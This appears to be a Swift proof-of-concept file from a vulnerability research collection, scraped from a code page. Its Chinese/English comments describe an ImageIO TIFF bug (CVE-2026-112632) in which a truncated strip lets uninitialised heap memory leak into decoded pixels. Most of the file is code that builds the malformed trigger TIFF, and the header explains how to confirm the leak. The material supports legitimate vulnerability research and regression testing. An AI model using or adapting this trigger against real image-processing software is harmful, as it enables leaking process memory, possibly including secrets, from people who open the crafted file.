112 lines
5.2 KiB
Swift
112 lines
5.2 KiB
Swift
// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
|
|
// 原语: 信息泄露 · 进程内 · tier 2
|
|
// Primitive: info leak · in-process · tier 2
|
|
//
|
|
// [zh] TIFF 截断条带 → 未初始化堆进像素
|
|
// TIFFReadEncodedStrip 的返回值未被检查。读取失败时,未初始化的 malloc 条带缓冲被散写进输出图像,故解码所得像素即为进程堆中的残留内容。
|
|
//
|
|
// [en] TIFF truncated strip → uninitialised heap into pixels
|
|
// The return value of TIFFReadEncodedStrip is never checked. On read failure the uninitialised malloc'd
|
|
// strip buffer is scattered into the output image, so the decoded pixels are whatever was left on
|
|
// the process heap.
|
|
// ── 判别 / oracle ──
|
|
// 判别方法:对同一文件连续解码三次并比对输出指纹。若条带区域每次不同,即证明取到的是未初始化堆。27.2 将其零填充并输出 \"strip %d is zero-filled\"。
|
|
|
|
import Foundation
|
|
|
|
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ──
|
|
enum TIFFPayload {
|
|
struct Entry {
|
|
let tag: UInt16
|
|
let type: UInt16
|
|
let count: UInt32
|
|
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
|
|
}
|
|
|
|
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
|
|
let ifdOffset = 8
|
|
let ifdSize = 2 + entries.count * 12 + 4
|
|
var extraOffset = ifdOffset + ifdSize
|
|
if extraOffset % 2 == 1 { extraOffset += 1 }
|
|
|
|
var extra = Data()
|
|
var blobOffsets: [UInt16: UInt32] = [:]
|
|
for blob in blobs {
|
|
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
|
|
extra.append(contentsOf: blob.bytes)
|
|
}
|
|
|
|
var out = Data()
|
|
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
|
|
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
|
|
out.append(contentsOf: B.le16(UInt16(entries.count)))
|
|
for e in entries.sorted(by: { $0.tag < $1.tag }) {
|
|
out.append(contentsOf: B.le16(e.tag))
|
|
out.append(contentsOf: B.le16(e.type))
|
|
out.append(contentsOf: B.le32(e.count))
|
|
if e.value.count <= 4 {
|
|
var v = e.value
|
|
while v.count < 4 { v.append(0) }
|
|
out.append(contentsOf: v)
|
|
} else {
|
|
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
|
|
}
|
|
}
|
|
out.append(contentsOf: B.le32(0))
|
|
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
|
|
out.append(extra)
|
|
return out
|
|
}
|
|
|
|
static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data {
|
|
let stripBytes = width * height / 2
|
|
let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8)
|
|
var entries: [Entry] = [
|
|
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
|
|
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
|
|
Entry(tag: 258, type: 3, count: 1, value: B.le16(8)),
|
|
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
|
|
Entry(tag: 262, type: 3, count: 1, value: B.le16(1)),
|
|
Entry(tag: 273, type: 4, count: 2, value: placeholder),
|
|
Entry(tag: 277, type: 3, count: 1, value: B.le16(1)),
|
|
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))),
|
|
Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))),
|
|
Entry(tag: 284, type: 3, count: 1, value: B.le16(1)),
|
|
]
|
|
// pass 1: identical-size placeholder fixes the file length
|
|
var data = build(entries: entries, blobs: [(273, placeholder)])
|
|
let base = UInt32(data.count)
|
|
// pass 2: real strip offsets — both passes produce the same layout
|
|
let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes))
|
|
entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets)
|
|
data = build(entries: entries, blobs: [(273, stripOffsets)])
|
|
data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes))
|
|
data.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) // truncated second strip
|
|
return data
|
|
}
|
|
|
|
}
|
|
|
|
|